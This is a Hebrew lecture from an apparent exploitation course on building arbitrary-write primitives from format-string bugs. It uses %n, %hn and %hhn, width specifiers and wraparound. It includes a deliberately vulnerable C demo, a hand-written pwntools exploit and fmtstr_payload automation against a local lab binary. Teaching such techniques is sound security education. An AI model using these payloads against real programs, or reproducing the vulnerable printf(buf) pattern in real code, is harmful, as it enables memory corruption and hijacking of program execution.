5.3 כתיבה שרירותית עם n הרצאה
בשיעור הקודם ראינו איך חולשת format string נותנת לנו קריאה שרירותית מהזיכרון: עם %s ו-%p באינדקס הנכון אפשר לדלוף כתובות, לעקוף ASLR ולהבין את מפת הזיכרון של התהליך. עכשיו נסגור את המעגל ונעבור מקריאה לכתיבה. הספציפייר %n הוא הפרימיטיב שהופך באג "תמים" של הדפסה למכונת כתיבה לכל כתובת שנרצה, עם כל ערך שנרצה. זה הפרימיטיב שממנו נבנה בשיעור הבא דריסת GOT וחטיפת זרימת ההרצה, אבל קודם צריך להשתלט על המכניקה עצמה.
בהרצאה הזו נבנה את הפרימיטיב צעד אחר צעד: נבין מה %n באמת עושה, למה כתיבה נאיבית בלתי אפשרית, איך %hn ו-%hhn פותרים את זה, איך שולטים בערך המדויק עם רוחב שדה, איך כותבים כתובת שלמה של 8 בתים בנתחים, ולבסוף איך pwntools מייצר את כל זה בשורה אחת.
מ-%n לכתיבה שרירותית - the write primitive¶
תזכורת קצרה: כשקוראים ל-printf(buf) וה-buf בשליטת התוקף, printf מפרש את הקלט שלנו כמחרוזת format. כל ספציפייר צורך "ארגומנט" - וכשאין ארגומנטים אמיתיים, printf שולפת ערכים מהרגיסטרים ומהמחסנית. ב-x86-64 חמשת הארגומנטים הראשונים מגיעים מ-rsi, rdx, rcx, r8, r9, ומהארגומנט השישי והלאה מהמחסנית. בשיעור הקודם ניצלנו את זה כדי לקרוא. עכשיו ננצל את זה כדי לכתוב.
הנה ההתנהגות הרשמית של %n, כמו שהיא מוגדרת ב-C:
int n;
printf("hello%n world\n", &n);
// after the call: n == 5, because five characters ("hello") were printed before the %n
שימו לב: %n לא מדפיס כלום. הוא לוקח מצביע (int*), וכותב אליו את מספר התווים שהודפסו עד לרגע הזה. זה כל הסוד. בקוד תקין המצביע הוא כתובת חוקית שהמתכנת התכוון אליה. בחולשת format string אין ארגומנט אמיתי, אז %n לוקח את המצביע מהמחסנית - ואם אנחנו שולטים בבתים שיושבים שם, אנחנו שולטים לאן הכתיבה הולכת.
printf(buf) when buf = "AAAA%6$n"
The stack at the time of the call to printf:
+------------------+
| arg 6 = ???? | <-- %6$n will write to the address sitting here
+------------------+
| arg 7 = ???? |
+------------------+
...
אם נדאג שהכתובת שאנחנו רוצים לכתוב אליה תשב בדיוק במקום שהאינדקס מצביע עליו, %n יכתוב לשם. זהו הגרעין של כתיבה שרירותית - arbitrary write.
בעיית הגודל - למה כתיבה נאיבית לא עובדת¶
נניח שאנחנו רוצים לכתוב את הערך 0x400000 לכתובת מסוימת. %n כותב את מספר התווים שהודפסו - אז נצטרך להדפיס 0x400000 תווים, כלומר יותר מארבעה מיליון. זה איטי, זה מנפח את הפלט, ולפעמים הbuffer בכלל לא יכול להכיל מחרוזת כזו.
עכשיו נסו לדמיין שאנחנו רוצים לכתוב כתובת מלאה של libc, משהו כמו 0x00007ffff7a52290. כדי להדפיס כל כך הרבה תווים נצטרך זמן גאולוגי - זה פשוט לא מעשי. אנחנו חייבים דרך לכתוב ערכים גדולים בלי להדפיס מיליארדי תווים.
כתיבה בנתחים - %hn ו-%hhn¶
הפתרון: לא כותבים 4 בתים בבת אחת. כותבים חתיכות קטנות. בדיוק כמו שיש %hd להדפסת short, יש גרסאות "קצרות" של %n:
- הספציפייר
%nכותבintשלם, כלומר 4 בתים. - הספציפייר
%hnכותבshort, כלומר 2 בתים בלבד (16 ביט). - הספציפייר
%hhnכותבchar, כלומר בית אחד בלבד (8 ביט).
המשמעות: עם %hn הערך המקסימלי שנצטרך "לספור אליו" הוא 0xffff = 65535 תווים. הרבה, אבל לגמרי אפשרי. עם %hhn המקסימום לכל כתיבה הוא 0xff = 255 תווים בלבד. לכן במקום לכתוב ערך גדול בבת אחת, מפרקים אותו לחתיכות של 2 בתים (או בית) וכותבים כל חתיכה לכתובת שלה.
Writing the value 0xdeadbeef to address A (using %hn, two chunks):
A+0 --> 0xbeef (the two low bytes)
A+2 --> 0xdead (the two high bytes)
little-endian, so A+0 holds the low bytes.
בכתיבה של כתובת שלמה בת 8 בתים בשיטת %hn נשתמש בארבע כתיבות: A+0, A+2, A+4, A+6. בשיטת %hhn נשתמש בשמונה כתיבות, אחת לכל בית. למה בכלל להתעסק עם %hhn אם %hn דורש פחות כתיבות? כי ככל שהנתח קטן יותר, המונה שאנחנו צריכים להגיע אליו קטן יותר, והפלט קצר יותר. עוד יתרון: אם יש null בתים בכתובת היעד, כתיבה של בית בודד מאפשרת לדלג עליהם בקלות.
שליטה בערך עם רוחב שדה - width specifier¶
איך גורמים ל-printf להדפיס בדיוק מספר תווים מסוים לפני ה-%n? עם רוחב שדה. הכתיב %100c מדפיס תו אחד מרופד ל-100 עמדות, כלומר 100 תווים בסך הכל. ככה שולטים במונה:
עכשיו נחבר את שני החלקים. הצורה הסטנדרטית של כתיבה בודדת היא:
%<width>c%<index>$hn
| |
| +-- write the counter to the address at argument <index>
+-- print <width> characters to bring the counter to the desired value
לדוגמה %48879c%11$hn אומר: הדפס 48879 תווים (0xbeef), ואז כתוב את המונה (שהוא כרגע 0xbeef) לכתובת שיושבת בארגומנט 11. אם דאגנו שבארגומנט 11 תשב הכתובת A, כתבנו 0xbeef ל-A.
סדר עולה וגלישת מונה - increasing order and wraparound¶
הנה הנקודה העדינה ביותר בכל הטכניקה. המונה של printf רק עולה. אי אפשר להדפיס מספר שלילי של תווים. אז כשכותבים כמה נתחים באותה קריאת printf, חייבים לסדר אותם כך שכל נתח דורש מונה גדול או שווה לקודם.
לכן ממיינים את הנתחים לפי הערך שרוצים לכתוב, בסדר עולה, ובין נתח לנתח מדפיסים רק את ההפרש (delta). נחזור לדוגמה 0xdeadbeef בשיטת %hn:
chunk address desired value sorted diff to print instruction
low A+0 0xbeef=48879 1 48879 %48879c%<idx0>$hn
high A+2 0xdead=57005 2 8126 %8126c%<idx1>$hn
counter: 0 -> 48879 (write to A+0) -> 57005 (write to A+2)
מיינו לפי הערך: 0xbeef (48879) קטן מ-0xdead (57005), אז קודם כותבים את הנתח הנמוך. אחרי הכתיבה הראשונה המונה עומד על 48879, ואנחנו מוסיפים עוד 57005 - 48879 = 8126 תווים כדי להגיע ל-57005 לפני הכתיבה השנייה.
מה קורה אם הערך הבא קטן מהמונה הנוכחי? למשל, אם צריך לכתוב 0x0100 אחרי שכבר הדפסנו 48879 תווים. כאן נכנס טריק הoverflow: %hn כותב רק 16 ביט, כלומר את המונה modulo 0x10000. אז מוסיפים מחזור שלם: מדפיסים עד שהמונה מגיע ל-0x10000 + 0x0100, וה-%hn יכתוב 0x0100 (הביטים הנמוכים). בשיטת %hhn (בית) מוסיפים 0x100 באותו רעיון. זה בדיוק מה שמאפשר לנו לכתוב כל שילוב של ערכים בכל סדר - תמיד ממשיכים לספר קדימה וגולשים כשצריך.
פריסת ה-payload ב-64 ביט - null bytes ומיקום הכתובות¶
יש עוד מכשול שקשור ספציפית ל-x86-64. הכתובות שאנחנו כותבים אליהן מכילות null בתים. למשל כתובת של משתנה גלובלי בבינארי בלי PIE נראית כמו 0x0000000000601040, שהיא ב-little-endian הבתים \x40\x10\x60\x00\x00\x00\x00\x00. הבעיה: printf מתייחסת ל-buf כמחרוזת C, וה-null בית הראשון מסיים את מחרוזת הformat. אם נשים את הכתובת בתחילת ה-payload, כל הספציפיירים שאחריה לעולם לא יעובדו.
הפתרון הסטנדרטי ב-64 ביט: שמים את כל הספציפיירים בהתחלה, ואת בלוק הכתובות בסוף. הספציפיירים הם ASCII נקי בלי null בתים, אז printf מעבדת אותם עד הסוף ומבצעת את כל כתיבות ה-%n. רק אז היא מגיעה לבלוק הכתובות, ונעצרת ב-null הראשון - אבל בשלב הזה כל הכתיבות כבר בוצעו, אז לא אכפת לנו.
Layout of the payload on 64-bit:
+-----------------------------------------+
| specifier part: %..c%idx$hn%..c%idx$hn | <-- ASCII, no null
+-----------------------------------------+
| padding for alignment of 8 |
+-----------------------------------------+
| p64(A+0) <- idx0 points here | \
| p64(A+2) <- idx1 points here | > address block (contains null)
+-----------------------------------------+ /
יש כאן ביצה ותרנגולת: האינדקס של בלוק הכתובות תלוי באורך חלק הספציפיירים (כמה qwords הוא תופס), ואילו חלק הספציפיירים מכיל את האינדקסים. הפתרון: מרפדים את חלק הספציפיירים לאורך קבוע (כפולה של 8), וכך האינדקס של הכתובת הראשונה הוא offset + מספר_ה-qwords_של_חלק_הformat, כאשר offset הוא האינדקס שבו הקלט שלנו מתחיל על המחסנית (מצאנו אותו בשיעור הקודם עם %p).
דוגמה מלאה בידיים - manual exploit¶
בואו נבנה הכל על בינארי דמו קונקרטי. שמרו כ-fmt.c:
#include <stdio.h>
long target = 0; // the target: write an exact value here
int main(void) {
char buf[256];
printf("target @ %p\n", (void*)&target); // leaks so we can focus on the write
fgets(buf, sizeof(buf), stdin);
printf(buf); // the vulnerability
printf("target = %#lx\n", target);
return 0;
}
קומפילציה. שימו לב להנחות ההגנה שאנחנו קובעים במפורש:
- הדגל
-no-pieנותן ל-targetכתובת קבועה, אז נוכל לשלוף אותה עםnmולא להיאבק ב-ASLR של הקוד. - הדגל
-fno-stack-protectorפשוט מנקה רעש; הcanary לא רלוונטי כי אנחנו לא דורסים return address. - ב-
-O0בלי_FORTIFY_SOURCE, glibc מרשה%nעל מחרוזת format שיושבת בזיכרון כתיב (המחסנית). זו נקודה חשובה - נחזור אליה בסוף.
בדיקת ההגנות:
כתובת ה-target:
מציאת ה-offset. שולחים תבנית ובודקים באיזה אינדקס הקלט שלנו מופיע:
$ python3 -c "print('AAAAAAAA' + '.%p'*10)" | ./fmt
target @ 0x404050
AAAAAAAA.0x7fff... ... .0x4141414141414141.0x2e70252e...
ה-0x4141414141414141 (שמונה תווי A) הופיע באינדקס השישי של ה-%p-ים, כלומר ה-offset שלנו הוא 6. עכשיו נבנה בידיים את ה-payload שכותב 0xdeadbeef ל-target:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./fmt')
target = elf.symbols['target'] # 0x404050, fixed since there's no PIE
value = 0xdeadbeef
offset = 6 # found with %p
# split into two 16-bit chunks and sort by value in ascending order
halves = [(target + 0, value & 0xffff),
(target + 2, (value >> 16) & 0xffff)]
halves.sort(key=lambda t: t[1])
# pad the specifier part to 5 qwords (40 bytes). This is safe - our part is shorter than that.
FMT_QWORDS = 5
addr_index = offset + FMT_QWORDS # the index of the first address in the block
fmt = b''
printed = 0
for i, (addr, chunk) in enumerate(halves):
delta = (chunk - printed) % 0x10000 # wraps around if the value is smaller than the counter
if delta == 0:
delta = 0x10000 # don't print 0, write a full cycle
fmt += f'%{delta}c%{addr_index + i}$hn'.encode()
printed += delta
fmt = fmt.ljust(FMT_QWORDS * 8, b'a') # padding for alignment, the index stays stable
payload = fmt + b''.join(p64(a) for a, _ in halves)
p = process('./fmt')
p.recvline() # the "target @ ..." line
p.sendline(payload)
print(p.recvall(timeout=2).decode())
הפלט (בהתעלם מים התווים שהודפסו כpadding):
הצלחנו לכתוב ערך מדויק לכתובת שבחרנו, בלי לגעת בreturn address או בcanary. זה כל היופי של הפרימיטיב הזה - הוא מדויק ושקט.
אוטומציה עם fmtstr_payload¶
הבנייה הידנית חשובה כדי להבין מה קורה מתחת למכסה המנוע, אבל בפועל אף אחד לא סופר בתים בעצמו. הספרייה pwntools נותנת פונקציה שעושה בדיוק את כל זה: מפרקת לנתחים, ממיינת בסדר עולה, מטפלת בoverflows, מרפדת לalignment, ומצמידה את בלוק הכתובות בסוף. הפונקציה היא fmtstr_payload:
from pwn import *
context.binary = elf = ELF('./fmt')
# offset = the index where our input starts (we found: 6)
# writes = a dict of {address: value}
payload = fmtstr_payload(6, {elf.symbols['target']: 0xdeadbeef},
write_size='short') # 'short' => %hn
p = process('./fmt')
p.recvline()
p.sendline(payload)
print(p.recvall(timeout=2).decode())
הפרמטרים החשובים:
- הארגומנט
offsetהוא האינדקס שבו ה-payload שלנו מתחיל על המחסנית. - הארגומנט
writesהוא מילון{addr: value}- אפשר לבקש כמה כתיבות בבת אחת, ל-fmtstr_payloadידאג לסדר. - הפרמטר
write_sizeקובע את גודל הנתח:'byte'ל-%hhn(ברירת המחדל),'short'ל-%hn,'int'ל-%n. - הפרמטר
numbwrittenאומר כמה תווים כבר הודפסו לפני מחרוזת הformat שלנו (למשל אם התוכנית הדפיסה"Value: "קודם). זה מכייל את המונה נכון.
כדי לכתוב כתובת שלמה של 8 בתים, פשוט נותנים ל-fmtstr_payload את הערך המלא, והוא יפרק אותו לנתחים בסדר עולה בשבילנו:
libc_func = 0x7ffff7a52290
payload = fmtstr_payload(6, {elf.symbols['some_ptr']: libc_func},
write_size='short')
# behind the scenes: four %hn writes to some_ptr+0/+2/+4/+6, sorted and wrapping as needed
יש גם עטיפה ברמה גבוהה יותר, FmtStr, שמגלה את ה-offset לבד ומצברת כתיבות. שימושי כשעושים כמה כתיבות אינטראקטיביות מול אותו תהליך:
def execute_fmt(payload):
p = process('./fmt')
p.recvline()
p.sendline(payload)
return p.recvall(timeout=2)
fmt = FmtStr(execute_fmt) # discovers the offset automatically
fmt.write(elf.symbols['target'], 0xdeadbeef)
fmt.execute_writes()
הנחות והגנות - protections¶
חשוב לדעת מתי הטכניקה הזו עובדת ומתי לא:
- ההגנה NX לא רלוונטית כאן. אנחנו לא מריצים קוד על המחסנית, רק כותבים נתונים.
%nעובד מצוין גם עם NX פעיל. - ההגנה ASLR ו-PIE כן רלוונטיות: כדי לכתוב ל-
targetצריך לדעת את כתובתו. במשתנה גלובלי בבינארי בלי PIE הכתובת קבועה. עם PIE, צריך קודם לדלוף כתובת (בדיוק מה שלמדנו בשיעור הקריאה) ולחשב את הבסיס. - ההגנה RELRO משפיעה על היעד. עם
Full RELROה-GOT הוא read-only ולא נוכל לכתוב אליו - נצטרך יעד כתיב אחר (מצביע פונקציה,__malloc_hookבגרסאות ישנות, מבנה נתונים של התוכנית). את דריסת ה-GOT עצמה נלמד בשיעור הבא, בהנחה שלPartial RELRO. - הגנה חשובה שקל לפספס: glibc חוסמת
%nכשמחרוזת הformat יושבת בזיכרון כתיב ובינארי הודר עם_FORTIFY_SOURCE(למשלgcc -O2 -D_FORTIFY_SOURCE=2). במקרה כזה התוכנית תיפול עם הודעה כמו*** %n in writable segment detected ***. לכן לצורך הלימוד קימפלנו ב--O0בלי fortify. בעולם האמיתי, אם ה-fortify פעיל,%nלא יעבוד ותצטרכו וקטור אחר.
סיכום¶
- הספציפייר
%nכותב את מספר התווים שהודפסו עד כה לכתובת שנשלפת מהמחסנית, וזה הפרימיטיב של כתיבה שרירותית. - כתיבה נאיבית של ערך גדול דורשת הדפסת מיליוני תווים, ולכן מפרקים לנתחים עם
%hn(2 בתים) ו-%hhn(בית אחד). - ברוחב שדה כמו
%100cשולטים בערך המדויק של המונה לפני כל%n. - המונה רק עולה, לכן ממיינים את הנתחים בסדר עולה לפי הערך ומדפיסים הפרשים; כשצריך ערך קטן יותר, גולשים במחזור שלם (
0x10000ל-%hn,0x100ל-%hhn). - כותבים כתובת שלמה של 8 בתים בארבעה נתחים של
%hnלכתובותA+0, A+2, A+4, A+6, בסדר עולה. - ב-64 ביט שמים את הספציפיירים בהתחלה ואת בלוק הכתובות בסוף, כדי ש-null בתים לא יקטעו את מחרוזת הformat.
- הפונקציה
fmtstr_payload(offset, {addr: value}, write_size=...)עושה את כל העבודה השחורה, ו-FmtStrאפילו מגלה את ה-offset לבד. - הטכניקה עובדת עם NX, אבל דורשת ידיעת כתובת היעד (זהירות מ-PIE/ASLR), יעד כתיב (זהירות מ-RELRO), ומחרוזת format שלא נחסמת על ידי
_FORTIFY_SOURCE.